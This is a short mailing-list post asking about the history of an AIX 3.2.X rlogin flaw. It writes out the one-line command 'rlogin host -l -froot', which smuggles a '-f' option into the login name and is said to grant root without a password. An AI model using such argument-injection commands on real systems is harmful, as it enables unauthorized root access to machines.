-froot??? (AIX rlogin bug)

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Someone over on the firewalls mailing list just threw out this tidbit:

   rlogin aix.machine -l -froot

For instance:
 
   rlogin foobar -l -froot

This gives you root access on any AIX 3.2.X machine.

Does anyone have any history on this trapdoor?  Apparently
it also existed in Linux several generations ago.

>>>>>>Ericw

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